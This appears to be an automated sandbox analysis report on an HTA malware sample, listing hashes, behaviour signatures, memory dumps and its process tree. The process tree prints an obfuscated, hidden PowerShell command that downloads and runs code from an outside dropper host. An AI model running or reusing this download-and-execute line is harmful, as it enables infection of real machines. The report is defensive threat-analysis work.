Analysis
- max time kernel
122s - max time network
133s - platform
windows10-2004_x64 - resource
win10v2004-20220310-en - submitted
17/03/2022, 12:23
General
- Target mise_169.hta
- Size 4KB
- Sample220317-pkf8xadfa6
- SHA256 6714c68120dcc163342da7e1d753b37d89e7bd790a79212a7b2efe1bcc9dd571
Malware Config
Extracted
-
ps1
-
ps1.dropper
http://contactlink.top/index.php
Signatures
- Blocklisted process makes network request 2 IoCs
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 6 IoCs
Processes
-
C:\Windows\SysWOW64\mshta.exeC:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\mise_169.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c powErshEll -nop -w hiddEn -Ep bypass -Enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AYwBvAG4AdABhAGMAdABsAGkAbgBrAC4AdABvAHAALwBpAG4AZABlAHgALgBwAGgAcAAiACkA2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowErshEll -nop -w hiddEn -Ep bypass -Enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AYwBvAG4AdABhAGMAdABsAGkAbgBrAC4AdABvAHAALwBpAG4AZABlAHgALgBwAGgAcAAiACkA3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
memory/1448-134-0x0000000070F10000-0x00000000716C0000-memory.dmp
memory/1448-135-0x0000000004F90000-0x0000000004FC6000-memory.dmp
memory/1448-136-0x0000000002F00000-0x0000000002F01000-memory.dmp
memory/1448-137-0x0000000002F02000-0x0000000002F03000-memory.dmp
memory/1448-138-0x0000000005600000-0x0000000005C28000-memory.dmp
memory/1448-139-0x0000000005530000-0x0000000005552000-memory.dmp
memory/1448-140-0x0000000005D30000-0x0000000005D96000-memory.dmp
memory/1448-141-0x0000000005E10000-0x0000000005E76000-memory.dmp
memory/1448-142-0x0000000006500000-0x000000000651E000-memory.dmp
memory/1448-143-0x0000000002F05000-0x0000000002F07000-memory.dmp
memory/1448-144-0x0000000007D50000-0x00000000083CA000-memory.dmp
memory/1448-145-0x00000000069F0000-0x0000000006A0A000-memory.dmp